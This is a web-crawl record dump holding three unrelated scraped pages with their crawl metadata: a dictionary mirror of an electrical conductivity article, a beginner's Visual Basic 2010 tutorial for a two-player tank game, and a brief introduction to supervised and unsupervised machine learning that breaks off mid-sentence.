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https://en.academic.ru/dic.nsf/enwiki/37410	[ "# Electrical conductivity\n\n\nElectrical conductivity\n\nElectrical conductivity or specific conductivity is a measure of a material's ability to conduct an electric current. When an electrical potential difference is placed across a conductor, its movable charges flow, giving rise to an electric current. The conductivity σ is defined as the ratio of the current density $mathbf\\left\\{J\\right\\}$ to the electric field strength $mathbf\\left\\{E\\right\\}$:\n\n:$mathbf\\left\\{J\\right\\} = sigma mathbf\\left\\{E\\right\\}$\n\nIt is also possible to have materials in which the conductivity is anisotropic, in which case σ is a 3×3 matrix (or more technically a rank-2 tensor) which is generally symmetric.\n\nConductivity is the reciprocal (inverse) of electrical resistivity and has the SI units of siemens per metre (S·m-1) i.e. if the electrical conductance between opposite faces of a 1-metre cube of material is 1 Siemens then the material's electrical conductivity is 1 Siemens per metre. Electrical conductivity is commonly represented by the Greek letter σ, but κ or γ are also occasionally used.\n\nAn EC meter is normally used to measure conductivity in a solution.\n\nClassification of materials by conductivity\n\n* A conductor such as a metal has high conductivity and a low resistance.\n* An insulator like glass or a vacuum has low conductivity.\n* The conductivity of a semiconductor is generally intermediate, but varies widely under different conditions, such as exposure of the material to electric fields or specific frequencies of light, and, most important, with temperature and composition of the semiconductor material.\n\nThe degree of doping in solid state semiconductors makes a large difference in conductivity. More doping leads to higher conductivity. The conductivity of a solution of water is highly dependent on its concentration of dissolved salts and sometimes other chemical species which tend to ionize in the solution. Electrical conductivity of water samples is used as an indicator of how salt-free or impurity-free the sample is; the purer the water, the lower the conductivity or higher.\n\nome electrical conductivities\n\nComplex conductivity\n\nTo analyse the conductivity of materials exposed to alternating electric fields, it is necessary to treat conductivity as a complex number (or as a matrix of complex numbers, in the case of anisotropic materials mentioned above) called the \"admittivity\". This method is used in applications such as electrical impedance tomography, a type of industrial and medical imaging. Admittivity is the sum of a real component called the conductivity and an imaginary component called the susceptivity. [http://www.otto-schmitt.org/OttoPagesFinalForm/Sounds/Speeches/MutualImpedivity.htm]\n\nAn alternative description of the response to alternating currents uses a real (but frequency-dependent) conductivity, along with a real permittivity. The larger the conductivity is, the more quickly the alternating-current signal is absorbed by the material (i.e., the more opaque the material is). For details, see Mathematical descriptions of opacity.\n\nTemperature dependence\n\nElectrical conductivity is strongly dependent on temperature. In metals, electrical conductivity decreases with increasing temperature, whereas in semiconductors, electrical conductivity increases with increasing temperature. Over a limited temperature range, the electrical conductivity can be approximated as being directly proportional to temperature. In order to compare electrical conductivity measurements at different temperatures, they need to be standardized to a common temperature. This dependence is often expressed as a slope in the conductivity-vs-temperature graph, and can be used:\n\n:$sigma_\\left\\{T\\text{'}\\right\\} = \\left\\{sigma_T over 1 + alpha \\left(T - T\\text{'}\\right)\\right\\}$\n\nwhere\n\n:\"σT′\" is the electrical conductivity at a common temperature, \"T′\":\"σT\" is the electrical conductivity at a measured temperature, \"T\":\"α\" is the temperature compensation slope of the material,:\"T\" is the measured absolute temperature, :\"T′\" is the common temperature.\n\nThe temperature compensation slope for most naturally occurring waters is about 2 %/°C, however it can range between (1 to 3) %/°C. This slope is influenced by the geochemistry, and can be easily determined in a laboratory.\n\nAt extremely low temperatures (not far from absolute 0 K), a few materials have been found to exhibit very high electrical conductivity in a phenomenon called superconductivity.\n\nReferences\n\nee also\n\nClassical and quantum conductivity\nElectrical conduction for a discussion of the physical origin of electrical conductivity.\nElectrical resistance\nElectrical resistivity is the inverse of electric conductivity\nMolar conductivity for a discussion of electrolytic conductivity i.e. conductivity due to ions in solution\nSI electromagnetism units\nTransport phenomena\n Thermal conductivity\n\n* [http://glassproperties.com/resistivity/ElectrResistMeasurement.htm Measurement of the Electrical Conductivity of Glass Melts] Measurement Techniques, Definitions, Electrical conductivity Calculation from the Glass Composition\n* [http://environmentalchemistry.com/yogi/periodic/electrical.html Periodic Table of Elements Sorted by Electrical Conductivity]\n\nWikimedia Foundation. 2010.\n\n### Look at other dictionaries:\n\n• electrical conductivity — savitasis laidis statusas T sritis automatika atitikmenys: angl. conductivity; electrical conductivity; specific conductivity vok. spezifischer Leitwert, m rus. удельная проводимость, f; удельная электропроводность, f pranc. conductibilité… … Automatikos terminų žodynas\n\n• electrical conductivity — savitasis elektrinis laidis statusas T sritis chemija apibrėžtis Dydis, atvirkščiai proporcingas savitajai varžai (S/m). atitikmenys: angl. electric conductivity; electrical conductivity rus. удельная электропроводность … Chemijos terminų aiškinamasis žodynas\n\n• electrical conductivity — savitasis elektrinis laidis statusas T sritis fizika atitikmenys: angl. electric conductivity; electrical conductivity vok. spezifische Leitfähigkeit, f; spezifischer Leitwert, m rus. удельная электропроводность, f pranc. conductivité électrique … Fizikos terminų žodynas\n\n• Electrical conductivity — Электрическая проводимость … Краткий толковый словарь по полиграфии\n\n• electrical conductivity — Смотри Электропроводность … Энциклопедический словарь по металлургии\n\n• electrical conductivity — the proportionality constant between current density and applied electric field; a measure of the ease with which a material is capable of conducting an electric current … Mechanics glossary\n\n• electrical conductivity — The ability of a material to conduct electricity. The opposite is resistivity or resistance … Dictionary of automotive terms\n\n• Electrical conductivity meter — An electrical conductivity meter. An electrical conductivity meter (EC meter) measures the electrical conductivity in a solution. Commonly used in hydroponics, aquaculture and freshwater systems to monitor the amount of nutrients, salts or… … Wikipedia\n\n• Electrical impedance tomography — (EIT), is a medical imaging technique in which an image of the conductivity or permittivity of part of the body is inferred from surface electrical measurements. Typically conducting electrodes are attached to the skin of the subject and small… … Wikipedia\n\n• Electrical conduction — is the movement of electrically charged particles through a transmission medium (electrical conductor). The movement of charge constitutes an electric current. The charge transport may result as a response to an electric field, or as a result of… … Wikipedia" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.7896425,"math_prob":0.971557,"size":7370,"snap":"2019-43-2019-47","text_gpt3_token_len":1573,"char_repetition_ratio":0.23730655,"word_repetition_ratio":0.022132797,"special_character_ratio":0.17123474,"punctuation_ratio":0.11219081,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96673876,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-11-20T12:27:04Z\",\"WARC-Record-ID\":\"<urn:uuid:e328a88e-ac1e-4cd2-80e9-2e2ada1dbc5c>\",\"Content-Length\":\"48811\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9df2a21b-f622-484b-9bf3-ce02119826c6>\",\"WARC-Concurrent-To\":\"<urn:uuid:796c6fad-028a-4955-9bf7-04f32a1a4bd2>\",\"WARC-IP-Address\":\"95.217.42.33\",\"WARC-Target-URI\":\"https://en.academic.ru/dic.nsf/enwiki/37410\",\"WARC-Payload-Digest\":\"sha1:25FQ6BOV6NPND2Q6EU3JR6NKXWXLCP74\",\"WARC-Block-Digest\":\"sha1:QB2EH5BFLTN2W3V5WW6HJSIFXFE3U754\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-47/CC-MAIN-2019-47_segments_1573496670558.91_warc_CC-MAIN-20191120111249-20191120135249-00305.warc.gz\"}"}
https://www.instructables.com/Atari-Combat-Tank-vb-2010/	[ "## Introduction: Atari Combat: Tank Vb 2010\n\nThis is my first instructable so bear with me... for my vb final i decided to program atari combat tank everything worked out other than when i hit a barricade the tanks r unable to move...\n\n## Step 1: Open VB2010\n\nOpen Visual Basic 2010 and select new project name the project anything you want i just kept mine as windowsapplication1 make sure Windows Forms Application is selected and click OK\n\n## Step 2: Designing the Form\n\non form 1 you will need a button.... on my form i added 3 labels and 2 pictureboxes\n\n## Step 3: Form 1 Code\n\ndouble click the button to show the code and add the following:\n\nTank_VS_Tank.Show()\n\n## Step 4: Adding Form 2\n\nto add a new form go to the menu strip item \"project\" and select \"Add Windows Form\" and select \"Windows Form\" name it what you want and click \"add\"\n\n## Step 5: Form 2 Design\n\nadd 16 timers 2 labels and 11 pictureboxes\n\nplace 9 pictureboxes at the bottom of the form and place one picturebox at the middle left and middle right of the form\n\nplace the labels at the top left and top right of the form\n\n## Step 6: Form 2 Propertys\n\nselect form 2 and click the property's toolbar on the right side of the form.\n\nselect backcolor and change it to 0, 64, 0 or a dark green\n\nchange forecolor to transparent\n\nchange formborderstyle to fixedtoolwindow\n\nchange start position to center screen\n\nand window state to maximized\n\n## Step 7: Label Property's\n\nselect the label on the left side and change the following:\n\nbackcolor: transparent\n\nborderstyle: none\n\nfont: IMPACT, 24pt\n\nforecolor: red\n\ntext: 0\n\nname: rs\n\nlocation: 7, 14\n\nautosize: false\n\nsize: 57,57\n\ndo the same for the label on the right but change the color to blue and name to bs\n\n## Step 8: Picturebox Property's\n\nchange the property's for the the picturebox on the left:\n\nbackcolor: backcolor of form2\n\nimage: download the red tank in the picture above... and that will be the red tank\n\nname: tank1\n\nlocation: 16, 517\n\nsize: 30,30\n\nchange the picturebox property's on the right to the same as on the left except the following:\n\nimage download the blue tank in the picture above... that will be the blue tank\n\nlocation: 1644, 517\n\nname: tank2\n\nfor the first four pictureboxes at the bottom of the form change the following:\n\nname: name them as the notes in the pictures above\n\n## Step 9: The Code: Dimensions\n\njust under public class add this code ,,, these are the variables we will use later in the code\n\n'we will use k to tell us the direction the tank2 is facing\n\nDim k As Integer = 4 'tank2 side counter\n\n'we will use s to tell us the direction of tank1\n\nDim s As Integer = 3 'tank1 side counter\n\n'b(17) is an object array there is not much online about object arrays so if i get enough attention i might make an 'instructable on it\n\nDim b(17) As PictureBox 'picturebox array\n\n'bt/rt is used to detect if both tank hit the border\n\nDim bt As Boolean = False\n\nDim rt As Boolean = False\n\n## Step 10: The Code:tank_vs_tank_keyup\n\nkey up is a handler that detects when a key is let up\n\ndouble click form2 and select the declaration toolbar at the top of the code and select keyup\nadd the following code after the dimensions:\n\nSelect Case e.KeyCode\nCase Is = Keys.W\n\nTimer9.Enabled = False 'stops tank move when w key up\n\nCase Is = Keys.S\n\nTimer10.Enabled = False 'stops tank move when s key up\n\nCase Is = Keys.D\n\nTimer11.Enabled = False 'stops tank move when d key up\n\nCase Is = Keys.A\n\nTimer12.Enabled = False 'stops tank move when a key up\n\nCase Is = Keys.ControlKey 'shoots\n\nIf s = 1 Then Timer1.Enabled = True 'detects if tank1 face right\n\nIf s = 2 Then Timer2.Enabled = True 'detects if tank1 face left\n\nIf s = 3 Then Timer3.Enabled = True 'detects if tank1 face up\n\nIf s = 4 Then Timer4.Enabled = True 'detects if tank1 face down\n\nEnd Select\n\n'left tank\n\nSelect Case e.KeyCode\n\nCase Is = Keys.Up\n\nTimer13.Enabled = False 'stops tank move when up key up\n\nCase Is = Keys.Down\n\nTimer14.Enabled = False 'stops tank move when down key up\n\nCase Is = Keys.Left\n\nTimer15.Enabled = False 'stops tank move when left key up\n\nCase Is = Keys.Right\n\nTimer16.Enabled = False 'stops tank move when right key up\n\nCase Is = Keys.Enter 'shoots\n\nIf k = 1 Then Timer5.Enabled = True 'detects if tank2 face right\n\nIf k = 2 Then Timer6.Enabled = True 'detects if tank2 face left\n\nIf k = 3 Then Timer7.Enabled = True 'detects if tank2 face up\n\nIf k = 4 Then Timer8.Enabled = True 'detects if tank1 face down\n\nEnd Select\n\n## Step 11: The Code: Object Array\n\nthe following is code for 17 pictureboxes... these will act as our blocks the code will go after the private sub statment\n\n\"Private Sub Tank_VS_Tank_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load\"\n\nFor i = 1 To 17\n\nb(i) = New PictureBox 'adds new picbox\n\nb(i).Visible = True 'makes block visible\n\nb(i).BackColor = Color.Khaki 'makes color of blocker khaki\n\nNext\n\nWith b(1) 'size and place block 1\n\n.Height = 22\n\n.Width = 100\n\n.Left = 81\n\n.Top = 138\n\nEnd With\n\nWith b(2) 'size and place block 2\n\n.Height = 200\n\n.Width = 22\n\n.Left = 159\n\n.Top = 159\n\nEnd With\n\nWith b(3) 'size and place block 3\n\n.Height = 200\n\n.Width = 22\n\n.Top = 350\n\n.Left = 159\n\nEnd With\n\nWith b(4) 'size and place block 4\n\n.Height = 22\n\n.Width = 100\n\n.Left = 81\n\n.Top = 550\n\nEnd With\n\nWith b(5) 'size and place block 5\n\n.Height = 22\n\n.Width = 100\n\n.Left = 404\n\n.Top = 0\n\nEnd With\n\nWith b(6) 'size and place block 6\n\n.Height = 200\n\n.Width = 22\n\n.Left = 443\n\n.Top = 22\n\nEnd With\n\nWith b(7) 'size and place block 7\n\n.Height = 200\n\n.Width = 23\n\n.Left = 443\n\n.Top = 484\n\nEnd With\n\nWith b(8) 'size and place block 8\n\n.Height = 22\n\n.Width = 100\n\n.Top = 680\n\n.Left = 404\n\nEnd With\n\nWith b(9) 'size and place block 9\n\n.Height = 200\n\n.Width = 22\n\n.Left = 631\n\n.Top = 253\n\nEnd With\n\nWith b(10) 'size and place block 10\n\n.Height = 22\n\n.Width = 100\n\n.Left = 802\n\n.Top = 0\n\nEnd With\n\nWith b(11) 'size and place block 11\n\n.Height = 200\n\n.Width = 22\n\n.Left = 841\n\n.Top = 22\n\nEnd With\n\nWith b(12) 'size and place block 12\n\n.Height = 200\n\n.Width = 22\n\n.Left = 841\n\n.Top = 484\n\nEnd With\n\nWith b(13) 'size and place block 13\n\n.Height = 22\n\n.Width = 100\n\n.Left = 802\n\n.Top = 680\n\nEnd With\n\nWith b(14) 'size and place block 14\n\n.Height = 22\n\n.Width = 100\n\n.Left = 1125\n\n.Top = 137\n\nEnd With\n\nWith b(15) 'size and place block 15\n\n.Height = 200\n\n.Width = 22\n\n.Left = 1125\n\n.Top = 159\n\nEnd With\n\nWith b(16) 'size and place block 16\n\n.Height = 200\n\n.Width = 22\n\n.Left = 1125\n\n.Top = 350\n\nEnd With\n\nWith b(17) 'size and place block 17\n\n.Height = 22\n\n.Width = 100\n\n.Left = 1125\n\n.Top = 550\n\nEnd With\n\nEnd Sub\n\n## Step 12: The Code: Keydown\n\nkey down detects if a key is down the code goes after private sub tank_vs_tank_keydown\n\nselect the declarations for the form 1 code and select keydown\n\nPrivate Sub Tank_VS_Tank_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles Me.KeyDow\n\n'right tank\n\nSelect Case e.KeyCode\n\nCase Is = Keys.W 'moves tank1 up and changes the counter to 3 and the image to tank face up\n\nIf tank1.Top = Me.Top Then Timer9.Enabled = False\n\ns = 3\n\nTimer9.Enabled = True\n\nTimer10.Enabled = False\n\nTimer11.Enabled = False\n\nTimer12.Enabled = False\n\ntank1.Image = rt1.Image\n\nCase Is = Keys.S 'moves tank1 down and changes the counter to 4 and the image to tank face down\n\nIf tank1.Bottom = Me.Bottom Then Timer10.Enabled = False\n\ns = 4\n\nTimer10.Enabled = True\n\nTimer9.Enabled = False\n\nTimer11.Enabled = False\n\nTimer12.Enabled = False\n\ntank1.Image = rt3.Image\n\nCase Is = Keys.D 'moves tank1 right and changes the counter to 1 and the image to tank face right\n\nIf tank1.Right = Me.Right Then Timer11.Enabled = False\n\ns = 1\n\nTimer11.Enabled = True\n\nTimer9.Enabled = False\n\nTimer10.Enabled = False\n\nTimer12.Enabled = False\n\ntank1.Image = rt4.Image\n\nCase Is = Keys.A 'moves tank1 left and changes the counter to 2 and the image to tank face left\n\nIf tank1.Left = Me.Left Then Timer12.Enabled = False\n\ns = 2\n\nTimer12.Enabled = True\n\nTimer9.Enabled = False\n\nTimer10.Enabled = False\n\nTimer11.Enabled = False\n\ntank1.Image = rt2.Image\n\nCase Is = Keys.P\n\nMsgBox(\"Paused Press OK to Continue\")\n\nEnd Select\n\nramo.Left = tank1.Left + 15\n\nramo.Top = tank1.Top + 13\n\nFor re = 1 To 17\n\nIf tank1.Bounds.IntersectsWith(b(re).Bounds) Then Timer9.Enabled = False\n\nIf tank1.Bounds.IntersectsWith(b(re).Bounds) Then Timer10.Enabled = False\n\nIf tank1.Bounds.IntersectsWith(b(re).Bounds) Then Timer11.Enabled = False\n\nIf tank1.Bounds.IntersectsWith(b(re).Bounds) Then Timer12.Enabled = False\n\nIf tank1.Bounds.IntersectsWith(b(re).Bounds) Then rt = True\n\nNext\n\nIf tank1.Top < Me.Top + 15 Then tank1.Top += 6\n\nIf tank1.Bottom > Me.Bottom - 35 Then tank1.Top -= 6\n\nIf tank1.Right > Me.Right - 15 Then tank1.Left -= 6\n\nIf tank1.Left < Me.Left + 10 Then tank1.Left += 6\n\n'left tank\n\nSelect Case e.KeyCode\n\nCase Is = Keys.Up 'moves tank2 up and changes the counter to 4 and the image to tank face up\n\nk = 4\n\nTimer13.Enabled = True\n\nTimer14.Enabled = False\n\nTimer15.Enabled = False\n\nTimer16.Enabled = False\n\ntank2.Image = bt1.Image\n\nCase Is = Keys.Down 'moves tank2 down and changes the counter to 3 and the image to tank face down\n\nk = 3\n\nTimer14.Enabled = True\n\nTimer15.Enabled = False\n\nTimer16.Enabled = False\n\nTimer13.Enabled = False\n\ntank2.Image = bt3.Image\n\nCase Is = Keys.Left 'moves tank2 right and changes the counter to 1 and the image to tank face right\n\nk = 1\n\nTimer15.Enabled = True\n\nTimer16.Enabled = False\n\nTimer13.Enabled = False\n\nTimer14.Enabled = False\n\ntank2.Image = bt2.Image\n\nCase Is = Keys.Right 'moves tank2 left and changes the counter to 2 and the image to tank face left\n\nk = 2\n\nTimer16.Enabled = True\n\nTimer13.Enabled = False\n\nTimer14.Enabled = False\n\nTimer15.Enabled = False\n\ntank2.Image = bt4.Image\n\nEnd Select\n\nbamo.Left = tank2.Left + 15 'places blue ammo\n\nbamo.Top = tank2.Top + 13\n\nFor ree = 1 To 17\n\nIf tank2.Bounds.IntersectsWith(b(ree).Bounds) Then Timer13.Enabled = False 'checks if tank2 hits blocks\n\nIf tank2.Bounds.IntersectsWith(b(ree).Bounds) Then Timer14.Enabled = False 'checks if tank2 hits blocks\n\nIf tank2.Bounds.IntersectsWith(b(ree).Bounds) Then Timer15.Enabled = False 'checks if tank2 hits blocks\n\nIf tank2.Bounds.IntersectsWith(b(ree).Bounds) Then Timer16.Enabled = False 'checks if tank2 hits blocks\n\nIf tank2.Bounds.IntersectsWith(b(ree).Bounds) Then bt = True\n\nNext\n\nIf rt = True And bt = True Then reset()\n\nIf tank2.Top < Me.Top + 15 Then tank2.Top += 5\n\nIf tank2.Bottom > Me.Bottom + 35 Then tank2.Top -= 5\n\nIf tank2.Right > Me.Right - 15 Then tank2.Left -= 5\n\nIf tank2.Left < Me.Left + 5 Then tank2.Left += 5\n\nEnd Sub\n\n## Step 13: The Code: Red Bullet\n\ngo to the form2 design page and select timers 1 to 4 and press enter\n\nPrivate Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick 'fires red ammo right\n\nramo.Left += 10\n\nIf ramo.Bounds.IntersectsWith(tank2.Bounds) Then Timer1.Enabled = False\n\nIf ramo.Bounds.IntersectsWith(tank2.Bounds) Then reset()\n\nt()\n\nIf ramo.Right > Me.Right Then Timer1.Enabled = False\n\nFor rer = 1 To 17\n\nIf ramo.Bounds.IntersectsWith(b(rer).Bounds) Then Timer1.Enabled = False\n\nNext\n\nEnd Sub\n\nPrivate Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick 'fires red ammo left\n\nramo.Left -= 10\n\nIf ramo.Bounds.IntersectsWith(tank2.Bounds) Then Timer2.Enabled = False\n\nt()\n\nIf ramo.Left < Me.Left Then Timer2.Enabled = False\n\nFor rere = 1 To 17\n\nIf ramo.Bounds.IntersectsWith(b(rere).Bounds) Then Timer2.Enabled = False\n\nNext\n\nEnd Sub\n\nPrivate Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick 'fires red ammo up\n\nramo.Top -= 10\n\nIf ramo.Bounds.IntersectsWith(tank2.Bounds) Then Timer3.Enabled = False\n\nt()\n\nIf ramo.Top < Me.Top Then Timer3.Enabled = False\n\nFor rerer = 1 To 17\n\nIf ramo.Bounds.IntersectsWith(b(rerer).Bounds) Then Timer3.Enabled = False\n\nNext\n\nEnd Sub\n\nPrivate Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick 'fires red ammo down\n\nramo.Top += 10\n\nIf ramo.Bounds.IntersectsWith(tank2.Bounds) Then Timer4.Enabled = False\n\nt()\n\nIf ramo.Bottom > Me.Bottom Then Timer4.Enabled = False\n\nFor ri = 1 To 17\n\nIf ramo.Bounds.IntersectsWith(b(ri).Bounds) Then Timer4.Enabled = False\n\nNext\n\nEnd Sub\n\n## Step 14: The Code: Blue Bullet\n\nselect timers 5 to 8 and press enter\n\nPrivate Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick 'fires blue ammo left\n\nbamo.Left -= 10\n\nIf bamo.Bounds.IntersectsWith(tank1.Bounds) Then Timer5.Enabled = False\n\nt2()\n\nIf bamo.Left < Me.Left Then Timer5.Enabled = False\n\nFor rir = 1 To 17\n\nIf bamo.Bounds.IntersectsWith(b(rir).Bounds) Then Timer5.Enabled = False\n\nNext\n\nEnd Sub\n\nPrivate Sub Timer6_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer6.Tick 'fires blue ammo right\n\nbamo.Left += 10\n\nIf bamo.Bounds.IntersectsWith(tank1.Bounds) Then Timer6.Enabled = False\n\nt2()\n\nIf bamo.Right > Me.Right Then Timer6.Enabled = False\n\nFor riri = 1 To 17\n\nIf bamo.Bounds.IntersectsWith(b(riri).Bounds) Then Timer6.Enabled = False\n\nNext\n\nEnd Sub\n\nPrivate Sub Timer7_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer7.Tick 'fires blue ammo down\n\nbamo.Top += 10\n\nIf bamo.Bounds.IntersectsWith(tank1.Bounds) Then Timer7.Enabled = False 'stops timer\n\nt2()\n\nIf bamo.Bottom > Me.Bottom Then Timer7.Enabled = False 'if bamo is > form2 bottom ammo\n\nFor ririr = 1 To 17\n\nIf bamo.Bounds.IntersectsWith(b(ririr).Bounds) Then Timer7.Enabled = False 'detects if bamo hits blocks\n\nNext\n\nEnd Sub\n\nPrivate Sub Timer8_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer8.Tick 'fires blue ammo up\n\nbamo.Top -= 10\n\nIf bamo.Bounds.IntersectsWith(tank1.Bounds) Then Timer8.Enabled = False 'stops timer\n\nt2()\n\nIf bamo.Top < Me.Top Then Timer8.Enabled = False 'if bamo is < form2 top ammo\n\nFor ririri = 1 To 17\n\nIf bamo.Bounds.IntersectsWith(b(ririri).Bounds) Then Timer8.Enabled = False 'detects if bamo hits blocks\n\nNext\n\nEnd Sub\n\n## Step 15: The Code: Red Tank Movement\n\nto move the red tank i use 4 timers each for either up down left or right in form2 design select timers 9-12 and press enter add the following code to each:\n\nPrivate Sub Timer9_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer9.Tick 'up\ntank1.Top -= 5\n\ntank1.Image = rt1.Image\n\nEnd Sub\n\nPrivate Sub Timer10_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer10.Tick 'down\ntank1.Top += 5\n\ntank1.Image = rt3.Image\n\nEnd Sub\n\nPrivate Sub Timer11_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer11.Tick 'left\n\ntank1.Left += 5\n\ntank1.Image = rt4.Image\n\nEnd Sub\n\nPrivate Sub Timer12_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer12.Tick 'right\n\ntank1.Left -= 5\n\ntank1.Image = rt2.Image\n\nEnd Sub\n\n## Step 16: The Code: Blue Tank Movement\n\nfor the blue tank i did the same except in different timers so in form2 design select timers 13-16 and press enter add the following code to each:\n\nPrivate Sub Timer13_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer13.Tick 'up\ntank2.Top -= 5\n\ntank2.Image = bt1.Image\n\nEnd Sub\n\nPrivate Sub Timer14_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer14.Tick\n\n'down\n\ntank2.Top += 5\n\ntank2.Image = bt3.Image\n\nEnd Sub\n\nPrivate Sub Timer15_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer15.Tick 'left\n\ntank2.Left -= 5\n\ntank2.Image = bt2.Image\n\nEnd Sub\n\nPrivate Sub Timer16_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer16.Tick 'right\n\ntank2.Left += 5\n\ntank2.Image = bt4.Image\n\nEnd Sub\n\n## Step 17: The Code: Suberteens\n\nin my code i had things like: t(), t2(), and reset() those are my subs t() detects if the red ammo hits the form borders or the blue tank; t2() detects if the blue ammo hits the red tank or the form; and reset() resets the game field\n\nheres the code for t():\n\nPrivate Sub t()\nIf rambo.Bounds.IntersectsWith(tank2.Bounds) Then tank2.Image = extank.Image\n\nIf rambo.Bounds.IntersectsWith(tank2.Bounds) Then tank1.Left = 12\n\nIf rambo.Bounds.IntersectsWith(tank2.Bounds) Then tank1.Top = 336\n\nIf rambo.Bounds.IntersectsWith(tank2.Bounds) Then tank2.Left = 1233\n\nIf rambo.Bounds.IntersectsWith(tank2.Bounds) Then tank2.Top = 336\n\nEnd Sub\n\nthe code for t2():\n\nPrivate Sub t2()\n\nIf bami.Bounds.IntersectsWith(tank1.Bounds) Then tank1.Image = extank.Image\n\nIf bami.Bounds.IntersectsWith(tank1.Bounds) Then tank2.Left = 1233\n\nIf bami.Bounds.IntersectsWith(tank1.Bounds) Then tank2.Top = 336\n\nIf bami.Bounds.IntersectsWith(tank1.Bounds) Then tank1.Left = 12\n\nIf bami.Bounds.IntersectsWith(tank1.Bounds) Then tank1.Top = 336\n\nEnd Sub\n\nthe code for reset()\n\nPrivate Sub reset()\n\ntank1.Left = 12\n\ntank1.Top = 336\n\ntank2.Left = 1233\n\ntank2.Top = 336\n\nbt = False\n\nrt = False\n\nEnd Sub\n\n## Step 18: The End\n\nthanks for looking at my instructable please give feedback", null, "Participated in the\nGame.Life 4 Contest", null, "Participated in the\nMakerlympics Contest" ]	[ null, "https://www.instructables.com/assets/img/pixel.png", null, "https://www.instructables.com/assets/img/pixel.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.61101913,"math_prob":0.9799904,"size":17120,"snap":"2023-40-2023-50","text_gpt3_token_len":4898,"char_repetition_ratio":0.21295863,"word_repetition_ratio":0.17411348,"special_character_ratio":0.2879673,"punctuation_ratio":0.16251384,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9815528,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-11T10:04:07Z\",\"WARC-Record-ID\":\"<urn:uuid:3739231c-421b-452f-b450-d44ffd73c815>\",\"Content-Length\":\"133381\",\"Content-Type\":\"application/http; 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http://www.develbyte.in/machine-learning/what-is-machine-learning/	[ "# What is Machine Learning?\n\nMachine learning is a field of study that provides computers with the ability to learn without being explicitly programmed - Arthur Samuel.\n\nMachine learning is a part of computer science which focuses on the development of computer programs that can teach themselves to grow and change based on the data it is exposed to.\n\nMachine learning algorithms are used heavily in mining large data sets like click stream data, flight data, engineering data, sensor data etc. Machine learning programs detect patterns in data and adjust program actions accordingly. For example, Facebook’s News Feed changes according to the user’s personal interactions with other users. If a user frequently tags a friend in photos, writes on his wall or “likes” his links, the News Feed will show more of that friend’s activity in the user’s News Feed due to presumed closeness.\n\nMachine learning algorithms plays a big role solving complex problems which cannot be programmed like flying an Aircraft, DNA sequencing, Genome Analysis.\n\nThe machine learning algorithms can be classified into two main categories:\n\n• Supervised Learning Algorithms\n• Unsupervised Learning Algorithms\n\n### Supervised learning algorithms\n\nThe majority of practical machine learning uses supervised learning. In a supervised machine learning algorithm we start with a data set which contains both the inputs and the corresponding correct answer and we train the algorithm to learn a function good enough to predict the correct or approximate correct output for a new given input value which it have not seen before.\n\nThe supervised learning algorithms can be further grouped under Regression and Classification problems.\n\nRegression All the algorithms used to predict a continuous number as output for a given input, then its a Regression algorithm.\n\ne.g: if we are trying to predict the price of a house, based on history of real state transaction data its a Regression problem since the price is continuous number.\n\nClassification All the algorithms where we try to predict a the group in which a given input falls in is a Classification problem.\n\ne.g. if we are trying to predict if the given email is spam or not, its a classification problem, since there the two groups span and not-spam and we are trying to put the given input in one of there, the number of groups can be two or more then two. let take another example let say given a bunch of images we want to predict of there is a cat, dog, horse or a tiger\n\n### Unsupervised learning algorithms\n\nIn this type of learning algorithms we use to only have input data, the corresponding output is unknown and the algorithms are left to their own to discover and present the interesting structure in the data, The goal for unsupervised learning is to model the underlying structure" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9279967,"math_prob":0.8979725,"size":3283,"snap":"2020-10-2020-16","text_gpt3_token_len":613,"char_repetition_ratio":0.15218054,"word_repetition_ratio":0.018621974,"special_character_ratio":0.18093207,"punctuation_ratio":0.07470289,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9627991,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-22T06:55:04Z\",\"WARC-Record-ID\":\"<urn:uuid:30dd6818-9116-414a-9260-7823c1106446>\",\"Content-Length\":\"20631\",\"Content-Type\":\"application/http; 